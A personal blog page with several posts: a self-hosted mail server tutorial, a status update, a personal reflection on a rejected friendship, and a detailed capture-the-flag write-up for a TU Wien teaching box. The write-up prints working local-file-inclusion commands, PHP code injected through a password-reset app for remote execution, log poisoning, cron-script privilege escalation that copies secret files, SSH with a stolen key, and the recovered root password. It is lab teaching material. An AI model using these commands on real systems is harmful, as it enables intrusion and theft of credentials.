AlipourIm journeys

Self-hosting mail the hard way (Postfix + Dovecot + PostfixAdmin + Roundcube, and zero Mailcow)

Fri, 24 Jul 2026 00:00:00 +0000

If you came here scared of mail servers: good. That means you’re paying attention. This post is for you. I assume you can SSH into a Linux box and copy-paste carefully. I do not assume you already know what an MX record is, why port 587 exists, or why Cloudflare’s orange cloud and SMTP should never meet at a party.

I wanted real email on my own machine — mail.alipourimjourneys.ir — without buying a “smart” appliance and without installing one of those giant all-in-one stacks. Mailcow is excellent. Stalwart is excellent. I still said no. Sometimes the point is to feel each moving part with your own hands, even if that means spending an evening arguing with nginx about whether a certificate belongs to mail or to Matrix. (Spoiler: when in doubt on this box, it was Matrix.)

By the end I had Postfix talking to the world, Dovecot holding the inboxes, OpenDKIM signing what I send, PostfixAdmin for creating people without SSH, Roundcube for reading mail in a browser, SPF and DKIM and DMARC in DNS, and reverse DNS (PTR) pointing the right way. Strangers cannot use my server as a free spam cannon. Thunderbird can delete messages again. I can open webmail when I’m too lazy for a desktop client. And I finally understand why those pieces exist, which is the part the shiny installers quietly skip.

Why I bothered

Funbox already hosted a small zoo of services with nice names and Let’s Encrypt certificates. Chat. Notes. Cloud stuff. Mail somehow stayed on the eternal TODO list labeled “next semester.” That felt silly. Email is older than most of the internet, slightly haunted, and still the boring glue that password resets and “your package has shipped” messages refuse to abandon.

I also wanted something more specific than “a mailbox.” I wanted addresses under my own domain, a way to create accounts for other humans without giving them shell access, and enough understanding that when something broke at 1 a.m. I wouldn’t be guessing which logo to Google. Doing it by hand is slower. It’s also how you stop treating mail as magic.

How email actually moves

Imagine a post office that both receives letters from other post offices and lets you drop off letters to send — but only if you show ID at the counter.

Postfix is that post office building. It speaks SMTP. When another provider wants to deliver mail to you, it looks up your domain’s mail instructions in DNS, finds your server, and knocks on port 25. That conversation is server-to-server. Gmail does not “log in as Gmail” with a password when it delivers to you. Trust comes from DNS, reputation, content filters, and whether you look like an open relay (more on that later).

When you want to send mail from Thunderbird or Roundcube, you don’t casually open port 25 from a laptop anymore. You use submission, usually port 587, after starting TLS and proving who you are with a username and password. Postfix asks Dovecot, “is this password real?” If yes, Postfix is willing to carry your message out to the wider world. If no, goodbye.

Dovecot is the filing cabinet and the locked reading room. It stores messages (I used Maildir: folders of files, boring and sturdy). It speaks IMAP on port 993 so clients can list, read, move, and delete. In the virtual setup it also accepts deliveries from Postfix over a local pipe called LMTP — think “Postfix hands the sealed envelope to the filing clerk” instead of Postfix rummaging in the drawers itself.

OpenDKIM sits beside Postfix like a notary. Before a message leaves, it stamps a cryptographic signature on the headers. Receiving servers can fetch your public key from DNS and check that the stamp is real. That doesn’t encrypt the love letter for privacy; it helps prove the letter wasn’t casually forged by a random stranger using your From address.

Then there’s the paperwork in DNS — SPF, the DKIM public key, DMARC — which isn’t software running on your machine. It’s instructions you publish so other people’s servers know how to judge mail that claims to be from you.

Once you see that split — public receiving dock on 25, gated human counter on 587, filing cabinet on 993, notary for outbound, DNS as the rulebook — the rest of the tutorial stops feeling like a random pile of config files.

The shape of my setup

On Ubuntu 24.04 on funbox, Postfix is the MTA, Dovecot is IMAP plus authentication helper plus delivery clerk, OpenDKIM signs outbound mail, PostfixAdmin is the web UI for mailboxes and aliases, and Roundcube is webmail. A small Docker Compose stack under /srv/services/mail/ runs Postgres only for that mail world, listening on 127.0.0.1:5433. Matrix and HedgeDoc keep their own databases. I like it that way. One sad PHP bug should not inherit a free ticket into Synapse.

Nginx terminates HTTPS for a little portal at mail.alipourimjourneys.ir, the admin UI at mailadmin.alipourimjourneys.ir, and Roundcube at webmail.alipourimjourneys.ir. Clients still talk to mail.alipourimjourneys.ir for IMAP 993 and SMTP 587. You can log in with the full address, and after a bit of SQL kindness Dovecot also accepts the short local part the way Apple Mail sometimes prefers.

Port 25 is for servers; port 587 is for people

This deserves its own soft lecture because mixing them up is how nice people accidentally build spam infrastructure.

Port 25 is the classic loading bay between mail systems. When someone elsewhere sends mail to you, their server connects here. You want Postfix to accept messages addressed to your domain, store them (via Dovecot), and refuse to forward random mail to random destinations for unauthenticated strangers.

Port 587 is the counter with the ID check. Humans authenticate. After that, Postfix may relay outward. That is normal. That is how modern clients send.

I also turned off AUTH advertisements on port 25. Leaving AUTH enabled there doesn’t instantly mean you’re an open relay, but it does invite bots to spend eternity guessing passwords against a door that shouldn’t even have a doorbell for them. Submission keeps the doorbell. Port 25 keeps the loading bay.

What an “open relay” is, and why localhost lies to you

An open relay is a mail server that accepts mail from the internet and forwards it to somewhere else without caring who asked. Spammers adore open relays the way raccoons adore unsecured bins. Modern Postfix defaults are usually cautious, but “usually” is not a control you can put on a checklist and trust with your domain’s reputation.

Here’s the trick that wastes afternoons: testing from 127.0.0.1.

Postfix treats localhost as friendly. Cron jobs, monitoring, local sendmail calls — they need to inject mail without performing a full human login. That friendliness is encoded in mynetworks. So if you point a test tool at loopback, Postfix may accept things it would never accept from a random address on the public internet. You can scare yourself for no reason, or soothe yourself for no reason. Neither is useful.

So I tested from the public address instead: pretend to be a stranger, say hello on port 25, try to send mail from evil@example.com to someone@example.com, and stop after the recipient line. The answer I wanted was a firm refusal — something in the spirit of 454 Relay access denied. A cheerful 250 on that recipient line is how you wake up as someone else’s cannon.

Kindness to future-you: always ask, “am I testing the door strangers use, or the door my own cron uses?”

DNS, but make it human

The forward map (name → number)

You already know this one from websites. An A record says “this name has this IPv4.” AAAA says the same for IPv6. For mail you also publish an MX record, which is simply a polite note: “if you’re delivering mail for this domain, knock on that hostname.” The hostname still needs A/AAAA records. MX is a pointer with a priority number, not a magical alternate internet.

I put mail.alipourimjourneys.ir on funbox for both v4 and v6, pointed MX at that name, and added webmail and mailadmin the same way.

Why Cloudflare’s orange cloud is not invited

Cloudflare’s proxied mode (orange cloud) is wonderful for HTTP websites. It is not a general-purpose “anything TCP” cloak for SMTP and IMAP. If you orange-cloud a mail hostname, you are asking a web reverse proxy to pretend it’s a mail server. That story ends in tears, weird timeouts, or certificates that belong to the wrong plot.

Mail hostnames stay DNS-only — grey cloud. I already treat some realtime services that way. Mail joins the grey-cloud club and stays there.

PTR records: the phonebook in reverse

This is the part that confused me the longest the first time I met it years ago, so I’m going to walk slowly.

Normal DNS is a phonebook from names to numbers: you look up mail.example.com and learn the IP. Reverse DNS is a phonebook from numbers to names. You look up the IP and learn which name claims it. That reverse lookup is a PTR record.

Those reverse records do not live in your ordinary domain zone on Cloudflare. They live in a special reverse tree managed by whoever owns the IP address space — your hosting people, your ISP, the friendly operator who can edit the reverse zone. Having your own nameservers for alipourimjourneys.ir does not automatically give you the keys to reverse DNS for an IP, any more than owning your apartment gives you the right to rename the street.

So you ask the IP owner, kindly and with copy-pasteable values, to publish reverse names that match your mail hostname. In my case both the IPv4 and the IPv6 address should reverse to mail.alipourimjourneys.ir, and that name should forward back to those same addresses. That round trip is sometimes called forward-confirmed reverse DNS. Receiving servers love it because it smells like a real mail host instead of a laptop on hotel Wi‑Fi.

You can receive mail without PTR. Sending to big providers without PTR is how you collect mysterious silences and spam-folder exile. In this story, PTR is already in place. The world looks a little less suspicious of funbox. Good.

SPF, DKIM, and DMARC: three different questions

People mash these together into “email authentication.” They’re related, but they answer different questions, and knowing that makes the DNS records feel less like spell ingredients.

SPF answers: “which machines are allowed to send mail claiming this domain?” It’s a TXT record listing your IPs (and sometimes includes of other services). I made mine strict: this server’s v4, this server’s v6, and then -all, which means everyone else should fail SPF. That is a bold stance. Use it when you truly mean “only this box sends.” If you’re mid-migration and scared, a softer ~all exists for a reason. I wasn’t mid-migration. I was building one source of truth.

DKIM answers: “was this message signed with our private key, and does the signature still match?” OpenDKIM signs outbound mail. You publish the matching public key under a selector name in DNS. Receivers fetch the key and check the stamp. If someone rewrites the message in silly ways, the stamp breaks. If someone without your key tries to impersonate you, they can’t produce a valid stamp.

DMARC answers: “if SPF/DKIM don’t align properly with the visible From domain, what should receivers do?” You can start with p=none (watch and learn), move to quarantine (bad mail goes to spam), and later reject when you’re brave. I moved to quarantine once signing and SPF looked healthy. Strict alignment settings mean I’m not pretending that “nearby” domains are close enough.

Order matters emotionally and technically. Publishing a harsh DMARC before DKIM works is a creative way to punish yourself. Get the notary working. Get the allowed-IP list right. Then tighten the policy.

Together they don’t make email “secure” in the Signal sense. They make domain forgery harder and give honest receivers better instincts about your mail. That is already a lot.

Building the unglamorous core

On the OS I installed Postfix and Dovecot the ordinary Ubuntu way, pointed both at a Let’s Encrypt certificate for mail.alipourimjourneys.ir, and configured submission so humans must authenticate on 587. I disabled AUTH on 25. I closed plain IMAP on 143 because I don’t need a cleartext nostalgia port in 2026.

Then came OpenDKIM. Generating keys is the easy emotional beat. Publishing the TXT record is easy too. The sneaky beat was the milter socket. Postfix often runs in a chroot under /var/spool/postfix, so the path Postfix uses for the socket is relative to that jail. OpenDKIM must create the socket where Postfix can actually see it, with permissions that let the postfix user connect.

I briefly had two Socket lines in opendkim.conf. Config files don’t merge those into a committee. The last one wins. Mine won incorrectly, Postfix looked in the chroot path, found nothing useful, and outbound mail left unsigned while I stared at an empty directory like it had personally betrayed me. One Socket. The correct path. Restart. Log line: DKIM-Signature field added. Instant serotonin.

When opendkim-testkey says the key is OK but “not secure,” it is often complaining about DNSSEC validation, not accusing your key of being fake. Read that message gently.

The Matrix certificate heist (that wasn’t a heist)

Thunderbird once refused my server with a wrong-site story. I opened the certificate details expecting mail.… and found matrix.alipourimjourneys.ir smiling back.

No attacker. No cosmic joke from Let’s Encrypt. Just nginx.

When a browser or mail client connects with HTTPS or STARTTLS, it names the host it wants (SNI). Nginx chooses a certificate based on that name. If no server_name matches, nginx shrugs and uses the default server block. On funbox, that default has long been Matrix. So any half-configured HTTPS name inherits Matrix’s identity and fails the “are you who you say you are?” check in the most confusing way possible.

Later I repeated a sibling mistake with webmail.: I enabled an HTTPS site pointing at certificate files that did not exist yet. Nginx then failed its config test. Certbot’s nginx plugin also needs that test to pass. Deadlock. Meanwhile browsers hitting https://webmail.… still fell through to the default server and received Matrix’s cert again. Same villain, new episode.

The boring fix is chronological humility. Publish DNS. Put an HTTP-only server block up first. Issue the certificate. Only then flip the site to HTTPS. If you reverse those steps, nginx will teach you about chickens and eggs until you apologize.

From Linux users to real mailboxes

The first version used system accounts. Postfix delivered to local Unix users. Dovecot checked passwords with PAM. For a single person it works. It also quietly means your mailbox password is entangled with your login story, and creating “a mail account for a friend” starts to look like creating a Unix inhabitant. That is not the vibe I wanted for a portal.

So I moved to virtual mailboxes. PostfixAdmin keeps domains, users, and aliases in Postgres. Dovecot looks up passwords and home directories with SQL. Mail files live under /var/vmail/... owned by a dedicated vmail user. Postfix no longer thinks of those addresses as local Unix people. It thinks of them as virtual destinations and hands the message to Dovecot over LMTP.

Why not let Postfix write the files itself? You can, historically. I prefer letting Dovecot be the clerk who already understands Maildir layouts, future filters, and the IMAP view of the world. Postfix remains the traffic cop at the street.

One setting decides whether this feels cursed or calm: mydestination.

That list means “domains I treat as local Unix delivery.” Virtual domains belong in the virtual maps instead. If your hostname is mail.alipourimjourneys.ir and you also leave that name in mydestination, Postfix may keep trying to deliver like it’s 1999 local mail. Virtual users then appear configured while messages vanish into the wrong conceptual bucket. I set mydestination to localhost and let the mail domain be virtual. Suddenly the model matched reality.

PostfixAdmin became the place where I create humans. They can change their own passwords in the user area. I can reset them when someone inevitably forgets. No SSH required for “please add my sibling.”

One more client quirk: some apps send only ialipour as the username. The database stores ialipour@mail.…. Dovecot’s “default realm” sounded like it would stitch those together automatically. For PLAIN auth it didn’t save me the way I hoped. Teaching the SQL queries to accept either the full address or local-part@mail.alipourimjourneys.ir did. Also, when authentication fails for “no reason,” consider that you might be typing your Linux password into a mailbox that has its own password now. I will not elaborate. We all learn in private.

Webmail without losing the plot

Roundcube is not a second mail server. It’s a website that speaks IMAP and SMTP on your behalf. Same username, same password, same Dovecot, same submission port. I run it in Docker next to PostfixAdmin, with its own database on the mail Postgres.

I flirted with serving it under a path like /webmail on the main mail hostname while also serving it at the root of webmail.…. Roundcube has opinions about its base path. If you tell it “you live under /webmail” and then put it at / on another name, it will happily redirect you after login to a URL that 404s inside the container. Apache will even sign the 404 like a polite waiter bringing empty plates.

The calm ending: Roundcube lives at https://webmail.alipourimjourneys.ir/ as the site root. The portal links there. Path experiments go in the diary under “character development.”

The bounce emails that taught me about identity

After virtualization, funbox started mailing me undeliverable notices. The original messages were those solemn “SECURITY information for funbox” notes that appear when sudo wants a password. Unix likes to mail root. My system identity still thought the local domain was mail.alipourimjourneys.ir, so root became root@mail.alipourimjourneys.ir. That mailbox does not exist on purpose. LMTP rejected it. The bounce returned to me, the sender of the sudo drama. It felt like the house accusing me of breaking the house.

The fix is to separate “system mail identity” from “human mail domain.” I set the mailname/origin story back toward localhost for local Unix injection, and I aliased root to my real virtual address so necessary noise still reaches a human. myhostname can still announce itself as mail.… on the SMTP banner. Different knobs, different jobs.

Deletes in Thunderbird failing was a softer lesson. Reading worked. Deleting seemed haunted. In IMAP land, “delete” is often “please move this to Trash.” If Trash can’t be created because permissions are wrong, or Dovecot never auto-creates those special folders, the client shrugs and you blame the moon. Giving vmail ownership of the maildirs and letting Dovecot auto-subscribe Trash, Drafts, and Sent restored ordinary mortal behavior.

And fail2ban exists because a public mail server’s address is a picnic for scanners. An SSH jail alone is only half a seatbelt. I also watch Postfix and Dovecot auth failures in /var/log/mail.log so repeated guessing gets a timeout instead of an unlimited hobby.

What “done” means for me

For this build, done means strangers cannot relay through me when I check from the public IP. Port 25 does not offer AUTH as entertainment. Humans submit on 587 with TLS and passwords. IMAP is on 993. SPF is strict, DKIM signs, DMARC quarantines failures. PTR for both families of IP points at mail.alipourimjourneys.ir, and the forward records agree. Cloudflare stays grey for mail names. The mail database is not the Matrix database. Webmail works. Admin works. Thunderbird deletes work. I can explain every line of that paragraph to a tired friend without waving my hands.

Would I do it again? Yes. With the same stubborn refusal of the giant appliance, and with a kinder voice toward beginners — including past me — who thought reverse DNS was “just another Cloudflare panel button.”

If this story helped you feel less silly for not already knowing what PTR stood for: welcome. That was the point. You’re not a dummy. Email is just a very old building with a lot of labeled doors, and somebody finally walked you through the hallway with the lights on.

Links

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

June 2026

Tue, 23 Jun 2026 20:00:07 +0000

Ok, it’s been so so so long! I haven’t been writing, once again, because I’ve been too busy with fixing my life. Let me summerize these past many months:

I finished my coursework for my prep phase
I was added to a colleagues project and we submited it to IMC
I submitted a poster to TMA, and I will be present it at the end of this month (June)
I branched my main project, IP over anything, into application layer, added steganography to it, and made it ready to be submited to S&P, but due to some complications, we decided to skip this deadline and aim for USENIX at the end of Augsust.
I am a tutor at data networks, and I think I’m doing a pretty good job :) at least I hope so! I realized how much I love teaching, and interacting and explaining things to students.

Downloads: Markdown · Signature (.asc)

A TU Wien CTF where Sysops Klaus left the keys in the cron job

Fri, 05 Jun 2026 12:00:00 +0000

Spoiler alert: this is a full writeup. If you still want to solve g#.tuw.measurement.network yourself, stop here and go poke the box. I’ll wait. …No? Ok. Hello friends.

This post documents how I solved a CTF box that came out of Tobias Fiebig’s Real World Security presentation at TU Wien — the one with Sysops Fahrer Klaus, the guy who “just quickly fixes prod” and accidentally teaches an entire lecture hall how LFI, internal services, vim swap files, and world-writable cron scripts become a chain.

Each student group gets their own host (g00, g01, …). The goal is simple on paper:

Collect every passwd_part file sitting in user home directories.
Stitch them together into the root password (the full answer lives in /root/passwd).

Simple. Boring. Except Klaus was clearly in charge of this VM.

0) The lay of the land

Target: g00.tuw.measurement.network

From the outside you mostly see three faces of the same machine:

Host	What it is
`g00.tuw.measurement.network`	Main vhost — `documentation.md`, directory listing, a teasing `passwd_part` that returns 403
`web.g00.tuw.measurement.network`	PHP “meme gallery” with a very trusting `?page=` parameter
`pwreset.g00.tuw.measurement.network`	Internal password-reset app — not reachable directly from the internet

Users on the box (from /etc/passwd via LFI): user1–user4, monitoring, www-data, root.

SSH from outside? Public key only. Password auth is a lie (for us, anyway).

1) Recon — documentation.md saves the day

First stop: the main site.

curl -s https://g00.tuw.measurement.network/documentation.md

That file is basically a treasure map. It mentions two services:

web → web.g00.tuw.measurement.network
pwreset → pwreset.g00.tuw.measurement.network

I also poked the obvious paths (.git, phpinfo, swap files, robots.txt, …). Nothing juicy on the main vhost except the directory index and the forbidden passwd_part.

Subdomains resolve. Good. Let’s go web.

2) LFI — `include($_GET['page'])` classic

The web vhost is a frameset. Content loads in a frame via ?page=:

curl -sk 'https://web.g00.tuw.measurement.network/?page=/etc/passwd'

And there it is — root, users, the whole /etc/passwd parade inside the frame.

Source via PHP filter works too:

curl -sk 'https://web.g00.tuw.measurement.network/?page=php://filter/convert.base64-encode/resource=index.php' \
  | sed -n 's/.*frame name="in">//p' | base64 -d

index.php is roughly:

php
$page = $_GET['page'] ?? 'home.php';
include($page);
?>

Klaus, my man. We love you.

First instinct: read all the passwd_part files immediately.

# spoiler: doesn't work
curl -sk 'https://web.g00.tuw.measurement.network/?page=/home/user1/passwd_part'
# → permission denied

Same for user2–user4, monitoring, root/passwd. The LFI runs as www-data. Those files are not world-readable. Fair.

3) pwreset — localhost-only, but LFI doesn’t care about nginx

Direct access to pwreset is blocked. Nginx config (also readable via LFI) has the usual:

allow 127.0.0.1;
deny all;

So you can’t hit https://pwreset.g00... from your laptop. But PHP on the web vhost can still include the pwreset index.php file — that’s a local file include, not an HTTP request.

pwreset source (paraphrased):

$user = $_GET['user'] ?? '';
$pass = $_GET['pass'] ?? '';
file_put_contents('/var/www/userchange', "$user:$pass\n");
echo "Password reset queued.";

It writes user:pass lines to /var/www/userchange. Something on the system processes that file later (spoiler: chpasswd, not shell).

Trigger it through LFI:

https://web.g00.tuw.measurement.network/
  ?page=/var/www/vhosts/pwreset.g00.tuw.measurement.network/htdocs/index.php
  &user=user1
  &pass=MyTestPass1!

I confirmed writes by reading /var/www/userchange back through the LFI. The file updates. Something also clears it on a schedule — so a cron job is definitely eating it.

4) RCE — PHP in `userchange`, included like a boss

At some point I wondered: what if the thing that processes userchange doesn’t only run chpasswd? What if it includes the file as PHP?

So I wrote a tiny shell into the user field via pwreset:

`id`?>

Then included /var/www/userchange through the LFI:

?page=/var/www/userchange

Output: uid=33(www-data) gid=33(www-data) ...

Short tags () for the win. A longer payload also works, but the backtick version is minimal and cute.

From here on, my mental model was:

pwreset → write arbitrary-ish content to /var/www/userchange
LFI include userchange → execute PHP as www-data

That’s RCE. Not root yet, but we’ll get there. Klaus always leaves one more door open.

5) Rabbit holes (aka “everything I tried before it worked”)

This box is a presentation CTF. It wants you to wander. I wandered. Hard.

nginx log poisoning

The presentation literally mentions log poisoning. I went for it — hard — and declared it dead. Plot twist: Tobias later confirmed it is the intended RCE path. I just griefed myself out of it. See §11 Bonus for the real technique and what I screwed up.

Short version of my failure: I poisoned via HTTPS (wrong log), sprayed broken PHP into the HTTP log, and never read the hint in index.php source until it was too late.

`data://`, `php://input`, `expect://`

?page=data://text/plain,($_GET[cmd]); ?>
?page=php://input   # with POST body
?page=expect://id

Nope. allow_url_include = Off. Klaus isn’t that careless.

vim `.swp` files

.memes.php.swp is downloadable over HTTP and readable via LFI/base64. I hex-dumped it, tried including it, tried img_src shell escapes on memes.php / convert_img.php.

Empty memes page. No execution. Nice red herring — very on-theme for the talk.

Munin / `apt_all` plugin

The presentation mentions monitoring (Nagios/Munin vibes). I went hunting:

/etc/munin/plugins/apt_all — referenced in cron, but the plugin file doesn’t exist
Brute-forced tons of plugin names and backup suffixes (.bak, .swp, ~, …)
Waited for cron cycles hoping a custom plugin would curl localhost pwreset

Verdict: the apt_all munin path is a distraction (or a removed artifact). The real privesc was elsewhere.

pwreset log archaeology

Reading /var/log/nginx/ssl-pwreset.g00.tuw.measurement.network.access.log via LFI is gold for lore:

Saw historical resets like user3 → foobar23
Tried foobar23 over SSH for every user

From outside: still Permission denied (publickey). Password auth isn’t offered externally. TU Wien network / internal access might differ — I didn’t have that.

Shell script injection into `userchange`

I tried newline injection to turn userchange into a bash script:

user=
#!/bin/sh
cp /home/user1/passwd_part /var/www/.../p1
...

Cron cleared the file. No copies appeared. The processor uses chpasswd, not /bin/sh. Good lesson. Wrong path.

Brute-forcing the `userchange` consumer

I spawned searches across /etc/cron.d, puppet manifests, /usr/local/sbin, systemd units, … — looking for whatever reads userchange.

Eventually didn’t need it. Once RCE landed, grepping and find from inside the box were faster. (Also: I killed a couple of those background brute-force jobs — they were timing out and weren’t on the winning path.)

Direct SSH password guessing

Tried setting root’s password via pwreset (root:RootPass123!), waited for cron, attempted SSH.

From the internet: publickey only. The reset machinery may still work internally, but I couldn’t log in with passwords from outside.

6) Privesc — world-writable cron script (peak Klaus)

With RCE as www-data, I looked for writable files:

find / -writable -type f 2>/dev/null | head

Jackpot:

-rwxrwxrwx 1 user1 www-data ... /usr/local/bin/cron_update_hostname_file.sh

Original script (innocent):

#!/bin/bash
grep 127.0.0.1 /etc/hosts > /home/user1/hostname_config

It’s run by cron as root (Puppet-managed). www-data can edit it because user1 owns it and the group is www-data with world-writable perms. Chef’s kiss.

I appended:

cp /home/user1/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p1
cp /home/user2/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p2
cp /home/user3/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p3
cp /home/user4/passwd_part  /var/www/vhosts/g00.tuw.measurement.network/htdocs/p4
cp /home/monitoring/passwd_part /var/www/vhosts/g00.tuw.measurement.network/htdocs/pm
cp /root/passwd             /var/www/vhosts/g00.tuw.measurement.network/htdocs/rootpass
chmod 644 /var/www/vhosts/g00.tuw.measurement.network/htdocs/p*

Then either waited for cron or executed the script manually via RCE:

`/usr/local/bin/cron_update_hostname_file.sh`?>

Files appeared in the webroot. Root-readable secrets exfiltrated by root itself. Klaus would be proud.

7) SSH as `www-data` — because keys in the webroot are a mood

The main vhost webroot also had .ssh/id_rsa for www-data. Of course it did.

# via RCE: cat the key, save locally, chmod 600
ssh -i g00_wwwdata_key -o StrictHostKeyChecking=no \
  www-data@g00.tuw.measurement.network

Works. You land in the challenge webroot with all the exfiltrated parts sitting there as plain files.

8) The password parts

Source	File	Part
user1	`p1`	`DcC6Da0A27384fA`
user2	`p2`	`9Ce05B3cAd57824`
user3	`p3`	`3aD80fa1b7AE986`
user4	`p4`	`CDefabffab1FCCf`
www-data	`passwd_part`	`44D885d6DAb8Bb9`
root	`rootpass`	`ghadnuthduxeec7`

Missing: monitoring/passwd_part — copying to pm failed (no file / permission denied even as root’s cron context for that path). Might need a different exfil path or ordering. For the final flag, the six parts above were sufficient.

Combined root password (95 characters):

DcC6Da0A27384fA9Ce05B3cAd578243aD80fa1b7AE986CDefabffab1FCCf44D885d6DAb8Bb9ghadnuthduxeec7

Order: user1 + user2 + user3 + user4 + www-data + root_suffix.

I double-checked byte lengths with wc -c and od over SSH. No sneaky newlines.

Root SSH with that password from outside still didn’t bite (pubkey-only externally). The password is the challenge answer, not necessarily your remote login method.

9) Attack chain (one screen)

documentation.md
    → web vhost LFI (include $_GET['page'])
        → include pwreset index.php (localhost bypass)
            → write PHP to /var/www/userchange
                → LFI include userchange
                    → RCE as www-data
                        → append to world-writable cron_update_hostname_file.sh
                            → cron runs as root → copies passwd parts to webroot
                                → read parts / SSH as www-data
                                    → profit

Very “real world” in the worst way. Multiple small mistakes compounding into a full chain.

10) Replay script

I left a minimal Python replay in the challenge repo:

python3 solve.py

Core logic:

def pwreset(user, passwd=""):
    # LFI-include pwreset index.php with user/pass params

def rce(cmd):
    pwreset(f"{cmd}`?>", "")
    return lfi_include("/var/www/userchange")

It prints id, the modified cron script, each part file, and the combined password.

11) Bonus: the intended log poisoning path

After I solved the box the scenic route (pwreset → userchange), I mentioned to Tobias that log poisoning seemed broken and maybe the logs needed a cron truncate. He replied, more or less: griefing the logs is part of the game — and students mostly grief themselves. Fair. 😂

So here’s the path you’re supposed to take for RCE, and how I accidentally took the scenic bypass.

The hint is in `index.php`, not `documentation.md`

documentation.md only lists the services (web, pwreset). It says nothing about logs. The actual breadcrumb is an HTML comment in index.php (readable via PHP filter LFI):

Four logs. Two pairs: HTTP and HTTPS (ssl-). The comment doesn’t say “don’t use SSL” — but the intended trick is to use the non-ssl access log.

Intended technique

Poison over HTTP (port 80), not HTTPS — so nginx writes to the smaller vhost log:
```
/var/log/nginx/web.g00.tuw.measurement.network.access.log
```
Put PHP in the User-Agent (or another logged field):
Short tags like work too. Use quoted 'cmd' — bare $_GET[cmd] is a PHP 8 footgun.

Include that log through the same LFI bug:

https://web.g00.tuw.measurement.network/
  ?page=/var/log/nginx/web.g00.tuw.measurement.network.access.log
  &cmd=id

On a fresh box the HTTP access log is tiny (basically empty plus your one poison line). PHP parses the file, hits your payload, you get www-data. That’s RCE. No pwreset required.

How I griefed myself

What I did	Why it hurt
Defaulted to `https://` everywhere	Poison landed in `ssl-web...access.log` — 670 KB+ and growing
Included the ssl log via LFI	Output truncates around ~2 KB; poison sits at the tail
Fired dozens of test payloads	Left broken `in the HTTP log ($_GET[cmd] without quotes, \x22, etc.) — PHP dies on the first bad tag before reaching a clean line`
Didn’t read `index.php` source early	Missed the debug comment until I’d already polluted both logs

Tobias’s take: that’s a feature. The box teaches you that ops mistakes compound — wrong log, bad payload syntax, and a shared log file other students (or past-you) can wreck. Very Klaus.

If you’re solving it now

Read index.php source first.
Poison on HTTP: http://web.g00.tuw.measurement.network/ with a clean User-Agent payload.
Include the non-ssl access log path from the comment.
Don’t spray malformed PHP into the log unless you enjoy debugging your own garbage.

I still think logrotate would be kind. Tobias thinks griefing is the lesson. Both can be true.

12) TL;DR

Read documentation.md — it tells you where the services live.
Read index.php source — the debug comment gives you the log paths.
Intended RCE = HTTP log poisoning → LFI include the non-ssl access log.
What I did = pwreset → userchange → cron (also works, not the intended first step).
Privesc = /usr/local/bin/cron_update_hostname_file.sh is world-writable and runs as root.
Griefing = part of the game; I griefed myself by poisoning the ssl log and littering broken PHP.
Flag = concatenate all passwd_part slices + /root/passwd suffix.

If you’re doing this as part of the TU Wien lab: don’t touch other groups’ hosts, don’t break the infra, and maybe send Klaus a thank-you note for the cron job.

Happy hacking. 🔓

Thanks to Tobias Fiebig for the delightfully cursed “real world” box — and to past-me for writing down the rabbit holes so future-me could turn them into a blog post instead of trauma.

Downloads: Markdown · Signature (.asc)

View OpenPGP signature

Face of Rejection

Sun, 10 May 2026 22:46:10 +0000

Now that I’ve had some time to process, I think it’s good to write down this sad experience. First things first, I do know that I stand by my decision. I strongly believe whatever the f*** our interactions were, they were not of any use for me. Like what’s the point of waving at each other when we meet, say hello and ask how we are, etc., if ther is literally nothing else to it. If we would never enter eachother’s social cycle. I don’t know how to put the thing I want to say into words, but usually the way friendships go, at least for me, is that when you plan stuff with your friends, you tell your friends. Hm… ok, it still doesn’t make sense. Let me think if I can say it better or not. Ok, let’s say you this person X. Imagine you interact with person X, talk to them, etc., but then that’s it, it is limited to “talking”. You count person X as a friend, but they are never invited to anything. They are kept at arms distance. Now I would assume it’s fun for many many people, but me… I already have a small social cycle. It requires so much energy for me to start new connections, connections that are worth keeping. I don’t want to be a docker container. Some isolated thing that is only interacted with when needed. But I think I communicated this so badly, that it came off wrong. To be honest, even my therapist didn’t seem to believe me when I said I wanted to be included in her social circle. He though it was an attempt by me to poke her. I do strongly believe this wasn’t the case, but I’m too hurt to try to defend myself. I also highly doubt defending myself would work, it would just add more pressure, and harder rejection.

Now the interesting part is my reaction. “Withdrawal”. The lesson I learned from past experiences is that explaining yourself or trying to fix things just results in more pain for you, and nothing being fixed. But this was strong. I did not want to respond. In fact, my first reaction was to delete the platform, not to be able to see the message to get hurt. During my therappy though, I did open the message. I went silent. I tried to process. The weight of that was heavy. It became hard to talk. Hard to reason. It was just…. sad.

Going forward I know that the best way forward for me is to stop any communications with her. It is sad, this losing of a friend, but let’s be honest, were we friends? No. Not my definition of friendship. And honestly, this should be a hard line for me, I don’t care how you define friendship. If it isn’t mutual, it isn’t good enough for me. I need to be more dominant, and less scared. My lines are my lines, and they are not to be negotiated with. I need to remain strong, and just let go.

I just realized I did not even talk about what happened. LMAO. Long story short, there was this person who I knew for some time. We used to exchange messages every once in a while. I asked if we would be spending time together, or with each other’s social circle, which to be honest came out super wrong :)))))) I wasn’t trying to ask her out. I just wanted to be included in some of the social gatherings with her social circle. To expand mine. To get to see new people. Call me an idiot, or whatever, but I didn’t know how to put this into words. And I did not do it correctly it seems as I got “rejected”. But as my friend says, “better a sad ending, than a never ending sadness”. I wansn’t trying to ask her out, but my social skills are so bad that it came so so wrongly.

I do stand by my decision though. No more interactions with her. Nothing. I need to become friends with people that don’t keep me isolated, or stored for their needs. It should be mutual. At least, whatever interactions we had, had nothing useful for me. If anything, it just hurt me by showing how lonely I am. You can argue that is a good thing to at least figure it out, and I would argue why would I keep being fed this thing if there is no levy for me out? If I’m not being helped. If I’m being kept at arms distance. If I’m being isolated. I’m no docker process who should be kept isolated. I’m the kernel module.

This came out weird coming from me, but it is what it is :) I should, and need to say “I” sometimes. I need to assert dominance, to show I’m in control, to show I’m happy, to show everything is fine.

Downloads: Markdown · Signature (.asc)

Verify locally:

torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/archive/face_of_rejection.md
torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/archive/face_of_rejection.md.asc
gpg --verify face_of_rejection.md.asc face_of_rejection.md

April '26

Sun, 03 May 2026 03:26:09 +0000

I know, I know. I’ve been lacking updates. I’m so so sorry. I will try to summerize what I’ve been up tp in the past few months.

